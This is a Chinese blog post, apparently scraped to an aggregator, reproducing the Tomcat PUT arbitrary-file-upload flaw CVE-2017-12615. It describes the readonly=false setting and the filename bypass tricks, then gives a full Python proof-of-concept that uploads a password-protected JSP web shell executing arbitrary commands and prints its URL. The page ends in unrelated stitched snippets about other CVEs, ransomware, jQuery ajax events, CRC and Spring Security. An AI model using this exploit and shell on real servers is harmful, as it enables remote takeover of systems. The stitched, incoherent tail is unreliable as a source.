cve-2017-12615和cve-2017-12616

咸鱼 咸鱼     2022-09-20     296

关键词:

Tomcat代码执行漏洞分析测试

1. 漏洞花絮

       2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615)    影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

   

2. 基本信息

漏洞名称:Tomcat任意文件上传漏洞

漏洞编号:CVE-2017-12615

漏洞影响:上传包含任意代码的文件,并被服务器执行。

影响平台:Windows

影响版本:Apache Tomcat 7.0.0 - 7.0.81

   

3. 测试过程

0x00 安装Tomcat 7.0.79

0x01 开启HTTP PUT

修改Tomcat 7.0/conf/web.xml文件

Org.apache.catalina.servlets.DefaultServlet

添加readonly属性,使者readonly=false; 相反为True,是禁用PUT DETELE,默认没有添加

  1. <init-param>
  2.    
  3. <param-name>readonly</param-name>
  4.    
  5. <param-value>false</param-value>
  6.    
  7. </init-param>

   

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

构造请求:

   

   

参考POC:

  1. #! -*- coding:utf-8 -*-
  2.    
  3. import httplib
  4.    
  5. import sys
  6.    
  7. import time
  8.    
  9. body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
  10.    
  11. +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
  12.    
  13. try:
  14.    
  15.     conn = httplib.HTTPConnection(sys.argv[1])
  16.    
  17.     conn.request(method='OPTIONS', url='/ffffzz')
  18.    
  19.     headers = dict(conn.getresponse().getheaders())
  20.    
  21.     if 'allow' in headers and \
  22.    
  23.        headers['allow'].find('PUT') > 0 :
  24.    
  25.         conn.close()
  26.    
  27.         conn = httplib.HTTPConnection(sys.argv[1])
  28.    
  29.         url = "/" + str(int(time.time()))+'.jsp/'
  30.    
  31.         #url = "/" + str(int(time.time()))+'.jsp::$DATA'
  32.    
  33.         conn.request( method='PUT', url= url, body=body)
  34.    
  35.         res = conn.getresponse()
  36.    
  37.         if res.status == 201 :
  38.    
  39.             #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
  40.    
  41.             print 'shell:', 'http://' + sys.argv[1] + url[:-1]
  42.    
  43.         elif res.status == 204 :
  44.    
  45.             print 'file exists'
  46.    
  47.         else:
  48.    
  49.             print 'error'
  50.    
  51.         conn.close()
  52.    
  53.     else:
  54.    
  55.         print 'Server not vulnerable'
  56.    
  57.    
  58.    
  59. except Exception,e:
  60.    
  61.     print 'Error:', e

   

   

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5&chksm=ea3f3dd9dd48b4cf1db66e70662126cf1eb45f60eb8205b3391d20f66564e6a789b158c0efe5&mpshare=1&scene=23&srcid=0920boQGYdCjZTPg2nEQRMqt#rd

https://www.secquan.org/BugWarning/522

https://paper.seebug.org/399/

  

cve-2017-12615漏洞复现(代码片段)

0x01漏洞简介首先声明的是CVE-2017-12615漏洞的利用条件是Windows+Tomcat7.0.x+配置文件readonly=false,配置文件内容如:<init-param><param-name>readonly</param-name><param-value>false</param-value></init- 查看详情

tomcat任意文件写入(cve-2017-12615)漏洞复现(代码片段)

 一、漏洞原理影响范围:pacheTomcat7.0.0-7.0.81(默认配置)如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE&... 查看详情

java安全-tomcat任意文件写入(cve-2017-12615)漏洞复现(代码片段)

Tomcat任意文件写入(CVE-2017-12615)当Tomcat运行在Windows主机上,且启用了HTTPPUT请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的JSP文件,可造成任意代码执行受影响版本:Tomcat7.0.0–7.0.79&#x... 查看详情

tomcat漏洞之任意文件上传(cve-2017-12615)(代码片段)

文章目录0x00漏洞介绍0x01影响版本0×02原理分析0×04环境搭建0×04漏洞复现-(任意上传文件)方法一在文件名后面添加斜杠/来进行绕过方法二:在文件名后面添加%20来进行绕过方法三:在文件名后面添加::$DATA来进行绕过方法... 查看详情

tomcat漏洞之任意文件上传(cve-2017-12615)(代码片段)

文章目录0x00漏洞介绍0x01影响版本0×02原理分析0×04环境搭建0×04漏洞复现-(任意上传文件)方法一在文件名后面添加斜杠/来进行绕过方法二:在文件名后面添加%20来进行绕过方法三:在文件名后面添加::$DATA来进行绕过方法... 查看详情

putyourhandsupphplfi+cve

...看的多,做的多,才有那种感觉.习惯性查看源码CVE-2017-12615,PUT方法任意文件上传漏洞,看了WP后,原来是这样的。0-0恍然大悟的感觉。hint是PHPLFI呢么先随意填点东西,然后查看下页面的url地址burp抓包,利用PUT方法更新页面内容... 查看详情

idea远程调试(代码片段)

...将以冰蝎的Behinder.jar为例,并以CVE-2017-10271和CVE-2017-12615漏洞环境为例介绍如 查看详情

.lucky后缀勒索病毒数据解密

...认配置漏洞(CVE-2010-0738)3.Tomcat任意文件上传漏洞(CVE-2017-12615)4.Tomcatweb管理后台弱口令爆破5.WeblogicWLS组件漏洞(CVE-2017-10271)6.WindowsSMB远程代码执行漏洞MS17-0107.ApacheStruts2远程代码执行漏洞S2-0458.ApacheStruts2远程代码执行漏洞S2-057... 查看详情

中间件漏洞汇总(代码片段)

...描述漏洞复现tomcat篇Tomcat远程代码执行漏洞(CVE-2017-12615)漏洞描述漏洞原理漏洞复现修复Tomcat+弱口令&&后台getshell漏洞漏洞原理漏洞复现漏洞修复tomcat远程代码执行(CVE-2019-0232)漏洞描述 查看详情

常见中间件漏洞的总结

...;Tomcat(java中间件)1、任意文件写入(CVE-2017-12615)2、远程代码执行(CVE-2019-0232)3、弱口令+war后门文件部署(五)jBoss1、JBoss5.x/6.x反序列化漏洞(CVE-2017-12149)2、JBossJMXInvokerServle 查看详情

4w字+上千行代码!tomcat渗透测试方法大总结,拿来吧你!(代码片段)

...析主要文件上传目录Tomcat渗透Tomcat任意文件写入(CVE-2017-12615)Tomcat远程代码执行(CVE-2019-0232)Tomcat弱口令&后台getshell漏洞TomcatmanagerApp暴力破解TomcatAJP文件包含漏洞分析(CVE-2020-1938)前言Tomcat服务器是一个免费 查看详情

数一数最近爆发的高危漏洞有哪些?

...法支持则可能存在远程代码执行漏洞,漏洞编号为CVE-2017-12615的漏洞。攻击者可以在使用该漏洞上传JSP文件,从而导致远程代码执行。此漏洞影响Windows平台下的ApacheTomcat7.x版本,目前已在ApacheTomcat7.0.81中修复。通 查看详情

1.(ajaxStart 和 ajaxSend)和 2.(ajaxStop 和 ajaxComplete)有啥区别?

】1.(ajaxStart和ajaxSend)和2.(ajaxStop和ajaxComplete)有啥区别?【英文标题】:What\'sthedifferencebetween:1.(ajaxStartandajaxSend)and2.(ajaxStopandajaxComplete)?1.(ajaxStart和ajaxSend)和2.(ajaxStop和ajaxComplete)有什么区别?【发布时间】:2011-04-1317:56 查看详情

比较和交换与测试和设置

】比较和交换与测试和设置【英文标题】:compareandswapvstestandset【发布时间】:2011-04-0905:30:21【问题描述】:有人可以向我解释一下上述操作在多线程中的工作原理和区别吗?【问题讨论】:【参考方案1】:测试和设置对位进行... 查看详情

java基础8---面向对象代码块和继承和this和super和重写和重载和final

...Java中,使用括起来的代码被称为代码块。根据其位置和声明的不同,可以分为局部代码块,构造代码块,静态代码块,同步代码块。局部代码块在方法中出现;限定变量生命周期,及早释放,提高... 查看详情

setabout和setout和setaside和setback和setoff和setup区别,

参考技术Asetabout/setout都有着手干某事的意思setaboutdoingsth/setouttodosth/setoutonsth都是开始做某事的意思.另外,setoutforaplace/setoutforaplace都有动身到某地的意思,setsthout或setoutsth有陈述,阐明,安排,陈列的意思.setaside意思是留出时间、钱;... 查看详情

CRC和校验和有啥区别?

】CRC和校验和有啥区别?【英文标题】:WhatthedifferencebetweenCRCandchecksum?CRC和校验和有什么区别?【发布时间】:2011-03-2209:16:18【问题描述】:CRC和校验和有什么区别?【问题讨论】:【参考方案1】:CRC(CyclicRedundancyCheck)是checksum... 查看详情

Spring Security 'Roles' 和 'Privileges' 和 Thymeleaf 'hasRole' 和 'hasAuthority'

】SpringSecurity\\\'Roles\\\'和\\\'Privileges\\\'和Thymeleaf\\\'hasRole\\\'和\\\'hasAuthority\\\'【英文标题】:SpringSecurity\'Roles\'and\'Privileges\'andThymeleaf\'hasRole\'and\'hasAuthority\'SpringSecurity\'Roles\'和\'Privileges\' 查看详情